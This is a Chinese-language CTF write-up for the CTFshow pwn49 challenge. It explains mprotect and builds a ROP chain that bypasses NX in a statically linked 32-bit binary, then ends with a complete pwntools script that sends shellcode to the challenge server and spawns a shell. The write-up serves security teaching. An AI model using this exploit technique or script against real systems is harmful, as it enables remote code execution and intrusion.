CTFshow-pwn入门-栈溢出pwn49（静态链接pwn-mprotect函数的应用）

pwn49

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首先我们先将pwn文件下载下来，然后赋上可执行权限，再来查看pwn文件的保护信息。

chomd +x pwn
checksec pwn
file pwn

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我们可以看到这是一个32位的pwn文件，并且保护信息开启了NX和canary，也就是堆栈不可执行且有canary。最最最重要的是这个文件是statically linked！！！静态编译文件呀！

根据题目的提示，我们可能需要用到mprotect函数，那我们就先来了解一下什么是mprotect函数吧。这个函数是只要是静态链接的文件都会有的哦。

mprotect()函数可以修改调用进程内存页的保护属性，如果调用进程尝试以违反保护属性的方式访问该内存，则内核会发出一个SIGSEGV信号给该进程。
#include <sys/mman.h>
int mprotect(void *addr, size_t len, int prot);
addr：修改保护属性区域的起始地址，addr必须是一个内存页的起始地址，简而言之为页大小（一般是 4KB == 4096字节）整数倍。
len：被修改保护属性区域的长度,最好为页大小整数倍。修改区域范围[addr, addr+len-1]。
prot：可以取以下几个值，并可以用“|”将几个属性结合起来使用：
1）PROT_READ：内存段可读；
2）PROT_WRITE：内存段可写；
3）PROT_EXEC：内存段可执行；
4）PROT_NONE：内存段不可访问。
返回值：0；成功，-1；失败（并且errno被设置）
1）EACCES：无法设置内存段的保护属性。当通过 mmap(2) 映射一个文件为只读权限时，接着使用 mprotect() 标志为 PROT_WRITE这种情况就会发生。
2）EINVAL：addr不是有效指针，或者不是系统页大小的倍数。
3）ENOMEM：内核内部的结构体无法分配。
这里的参数prot：
r:4
w:2
x:1
prot为7（1+2+4）就是rwx可读可写可执行，与linux文件属性用法类似

OK，开始做题，我们先来将pwn文件拖入ida中反编译一下，查看一下反编译的c代码。

// main
int __cdecl main(int argc, const char **argv, const char **envp)
{
  init_0();
  logo();
  ctfshow();
  return 0;
}

// ctfshow
int ctfshow()
{
  char v1[14]; // [esp+6h] [ebp-12h] BYREF

  return read(0, v1, 100);
}

可以算出偏移地址为0x12 + 0x4 = 22
既然程序是静态连接，并且里面没有system函数，我们就不能使用ret2libc来打了。所以我们就是用mprotect函数来打，因为mprotect函数可以修改一段内存空间的权限，那我们选择一段内存空间将它的权限修改为可读可写可执行，然后将shellcode写在这段空间，之后再将程序的控制流转到这里，不就可以执行shellcode了嘛？即使文件开启了NX，但是我们利用的是栈之外的空间，不久轻松绕过了NX。hhh

下面我们开始构思我们的ROP链：
首先肯定是先来22个填充数据：

payload = 22 * 'a'

然后接下来就是ctfshow函数的返回地址，我们将返回地址设为mprotect函数的地址。我们使用gdb pwn动态调试，使用diass mprotect命令查看汇编代码就能看到mprotect函数的起始地址了。
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我们看到mprotect函数的地址为：0x0806cdd0
那么我们的ROP链就延长为：

payload = 22 * 'a' 
payload += p32(0x0806cdd0)

接下来就是再填入一个mprotect函数的返回地址，这个返回地址可是大有讲究，因为我们需要将它的返回地址设置为read函数的地址，这样我们才能利用read函数将shellcode写到内存空间里。
这样我们的大概思路就是：
填充地址 + mprotect函数 + 返回地址 + mprotect的三个参数 + read函数
我们看到mprotect函数是有三个参数的我们就必须要找到一个具有三个pop一个ret的gadget，因为，我们将三个参数pop之后，栈顶就是read函数的地址了，这样ret之后就跳到read函数执行了。

我们使用ROPgadget --binary pwn --only “pop|ret” | grep "pop"这条命令来找具有3个pop1个ret的gadget。
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那我们就选用这个第三个gadget，地址是0x08056194。
然后再gdb pwn，调试disass ctfshow查看ctfshow的汇编代码就能看到read函数的地址了。

可以看到read函数地址为：0x806bee0

然后我们再来确定mprotect函数的参数：
第一个参数，我们要修改权限的内存空间起始地址，我们就是用got表的起始地址来存放shellcode。我们使用readelf -S pwn命令可以查看所有节头信息，里边就包含got表的起始地址。
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我们找到了got表的起始地址为：0x080da000
然后第二个参数是修改的空间大小为多少，我们就选用0x1000，足够我们的shellcode使用了。
第三个参数的我们对这片空间赋予的权限是什么，7代表可读可写可执行，这就跟linux文件权限的道理是一样的。

这样我们新的ROP链就为：

payload = 22 * 'a' 
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址	
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限
payload += p32(0x806bee0) # read函数地址

接下来就是我们的read函数了。
开始调用read函数ROP链的大概图为：
read函数 + read函数返回地址(就是我们shellcode所在地址-即我们修改的内存空间的起始地址) + read参数1 + read参数2(就是我们shellcode地址) + read参数3(read读取的大小)

这样的话我们就只需要获取read参数3就行了，因为返回地址即shellcode地址都已经找出了，参数1就写0就行，参数3的大小只要不小于shellcode的长度就行。
新的ROP链为：

payload = 22 * 'a' 
payload += p32(0x0806cdd0) # mprotect函数地址
payload += p32(0x08056194) # 3 pop 1 ret地址	
payload += p32(0x080da000) # 需要修改的内存的起始地址
payload += p32(0x1000) # 修改内存空间的大小
payload += p32(0x7) # 需要赋予的权限

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload += p32(0x806bee0) # read函数地址
payload += p32(0x080da000) # read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0) 
payload += p32(0x080da000) # shellcode地址
payload += p32(len(shellcode))

之后我们就可以先将ROP链发送过去，这时程序控制流就会执行我们ROP链中的read函数，然后我们再把我们的shellcode发送过去，就成功了！

完整wp：

from pwn import *

p = remote("pwn.challenge.ctf.show", "28141")
payload = 22 * 'a'
payload += p32(0x0806cdd0)# mprotect函数地址
payload += p32(0x08056194)# 3 pop 1 ret地址	
payload += p32(0x080da000)# 需要修改的内存的起始地址
payload += p32(0x1000)# 修改内存空间的大小
payload += p32(0x7)# 需要赋予的权限

shellcode = asm(shellcraft.sh(),arch='i386',os='linux')

payload += p32(0x806bee0)# read函数地址
payload += p32(0x080da000)# read函数返回地址(就是我们shellcode所在地址,即我们修改的内存空间的起始地址)
payload += p32(0x0)
payload += p32(0x080da000)# shellcode地址
payload += p32(len(shellcode))
p.recvuntil("    * *************************************                           ")
p.sendline(payload)
p.sendline(shellcode)
p.interactive()